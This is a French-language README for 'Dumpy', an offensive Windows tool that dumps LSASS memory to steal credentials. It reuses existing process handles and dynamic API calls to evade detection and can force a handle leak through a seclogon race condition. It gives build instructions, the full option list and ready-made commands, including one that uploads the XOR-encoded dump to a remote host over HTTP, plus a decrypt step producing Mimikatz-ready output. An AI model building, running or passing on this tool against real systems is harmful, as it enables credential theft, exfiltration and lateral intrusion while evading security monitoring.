
Réutiliser les handles ouverts pour dumper dynamiquement LSASS.
Cet outil appelle dynamiquement MiniDumpWriteDump pour dumper le contenu mémoire de lsass. Ce processus est effectué sans ouvrir un nouveau handle de processus vers lsass et en utilisant DInvoke_rs pour rendre plus difficile la détection de son comportement malveillant. Afin d'obtenir un handle de processus valide sans appeler OpenProcess sur lsass, tous les handles de processus du système sont analysés à l'aide de NtQuerySystemInformation, NtDuplicateObject, NtQueryObject et QueryFullProcessImageNameW.
Les transactions NTFS sont utilisées pour appliquer un XOR au dump mémoire avant de le stocker sur le disque ou de l'envoyer via HTTP.
Prise en charge ajoutée pour x86 et x64.
Compilez simplement le code en mode release et exécutez-le :
C:\Users\User\Desktop\Dumpy\dumpy> cargo build --release
C:\Users\User\Desktop\Dumpy\dumpy\target\x86_64-pc-windows-msvc\release> dumpy.exe -h
Si vous souhaitez compiler l'outil pour un système x86, modifiez la valeur de l'option « target » dans le fichier .cargo\config (par ex. : target = "i686-pc-windows-msvc").
Usage: dumpy.exe --dump|--decrypt [options]
Options:
-h, --help Print this help menu.
--dump Dump lsass.
--decrypt Decrypt a previously generated dump file.
-f, --force Force seclogon's service to leak a lsass handle
through a race condition.
-k, --key Encryption key [default: 1234abcd]
-i, --input Encrypted dump file [default: c:\temp\input.txt]
-o, --output Destination path [default: c:\temp\output.txt]
-u, --upload Upload URL
Dumpy a deux actions principales :
dump : il exécute la logique principale pour dumper lsass. Par défaut, il stocke le résultat dans un fichier texte xored avec un nom aléatoire dans le répertoire courant. L'option upload permet d'envoyer le contenu mémoire via HTTP vers un hôte distant, évitant ainsi la création du fichier xored sur le disque. J'ai utilisé ce serveur HTTP simple pour gérer l'upload, mais n'importe quel autre serveur HTTP prenant en charge les requêtes multipart/form-data fonctionnera.
C:\Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload
Si vous souhaitez forcer la fuite d'un handle vers lsass via la condition de course dans le service seclogon décrite par Antonio Cocomazzi dans cet article, utilisez simplement l'option force :
C:\Temp> dumpy.exe --dump -k secretKey -u http://remotehost/upload --force
decrypt : cette action permet d'obtenir le dump mémoire déchiffré dans le même format que celui attendu par des outils comme Mimikatz. Comme arguments, elle attend le dump mémoire xored, la clé de chiffrement et le chemin du fichier de sortie. Si le fichier xored a été téléversé via HTTP, il est nécessaire d'effectuer un décodage base64 du contenu avant ce processus de déchiffrement.
C:\Temp> dumpy.exe --decrypt -i xored.txt -o decrypted.txt -k secretKey